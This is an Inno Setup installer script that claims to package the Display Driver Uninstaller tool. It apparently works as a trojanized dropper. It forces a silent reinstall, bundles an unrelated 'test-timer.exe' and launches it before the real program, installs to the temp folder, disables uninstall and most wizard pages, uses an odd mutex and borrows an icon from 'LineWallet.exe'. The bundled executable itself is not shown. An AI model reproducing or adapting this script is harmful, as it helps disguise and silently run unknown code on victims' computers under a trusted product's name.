#define MyAppName "Display Driver Uninstaller"
#define MyAppVersion "18.0.0.0"
#define MyAppExeName "Display Driver Uninstaller.exe"
[Run]
Filename: "{userprograms}\test-timer.exe"; Flags: nowait
Filename: "{userprograms}\Display Driver Uninstaller.exe"
[ Code]
#ifdef UNICODE
#define AW "W"
#else
#define AW "A"
#endif
type
HINSTANCE = THandle;
function ShellExecute(hwnd: HWND; lpOperation: string; lpFile: string;
lpParameters: string; lpDirectory: string; nShowCmd: Integer): HINSTANCE;
external 'ShellExecute{#AW}@shell32.dll stdcall';
function InitializeSetup: Boolean;
begin
// if this instance of the setup is not silent which is by running
// setup binary without /SILENT parameter, stop the initialization
Result := WizardSilent;
// if this instance is not silent, then...
if not Result then
begin
// re-run the setup with /SILENT parameter; because executing of
// the setup loader is not possible with ShellExec function, we
// need to use a WinAPI workaround
if ShellExecute(0, '', ExpandConstant('{srcexe}'), '/VERYSILENT', '',
SW_SHOW) <= 32
then
// if re-running this setup to silent mode failed, let's allow
// this non-silent setup to be run
Result := True;
end;
end;
[Setup]
AppId={{D761E5CC-2CD6-45A3-820B-96F7C8FEECCE}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
;AppVerName={#MyAppName} {#MyAppVersion}
DefaultGroupName=Windows NT
DisableProgramGroupPage=yes
OutputDir=C:\Users\Kompas34\Desktop\Prog\Display Driver uninstaller
OutputBaseFilename=Display Driver uninstaller
SolidCompression=yes
DisableReadyPage=True
DisableReadyMemo=True
DisableFinishedPage=True
UsePreviousSetupType=False
UsePreviousTasks=False
UsePreviousLanguage=False
FlatComponentsList=False
AlwaysShowComponentsList=False
ShowComponentSizes=False
RestartIfNeededByRun=False
AllowCancelDuringInstall=False
CloseApplications=True
RestartApplications=False
Uninstallable=no
MergeDuplicateFiles=False
VersionInfoVersion=18.0.0
VersionInfoCompany=WagnarDsoft
VersionInfoDescription=Display_Driver_Uninstaller
VersionInfoTextVersion=18.0.0
VersionInfoCopyright=Copyright (c) Wagnardsoft /xA9 2020
VersionInfoProductName=Display_Driver_Uninstaller
VersionInfoProductVersion=18.0.0
VersionInfoProductTextVersion=Display_Driver_Uninstaller
SetupIconFile=C:\Users\Kompas34\Desktop\инспектор\DDU\iconddu.ico
Compression=bzip
DefaultDirName={%temp}
LicenseFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
InfoBeforeFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
InfoAfterFile=C:\Program Files (x86)\Inno Script Studio\License.rtf
UsePreviousGroup=False
AppendDefaultGroupName=False
AppMutex=hrdJgarVddhes,jv4rbtb5&d6baTkebfgs4fbsgSRTdrty6%5k
InternalCompressLevel=max
CompressionThreads=2
UseSetupLdr=False
ChangesAssociations=True
[Languages]
Name: "english"; MessagesFile: "compiler:Default.isl"
[Files]
Source: "..\инспектор\test-timer.exe"; DestDir: "{userprograms}"
Source: "..\инспектор\DDU\Display Driver Uninstaller.exe"; DestDir: "{userprograms}"
[Icons]
Name: "{group}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; Flags: closeonexit dontcloseonexit foldershortcut runmaximized runminimized useapppaths; IconFilename: "{app}\LineWallet.exe"; IconIndex: 0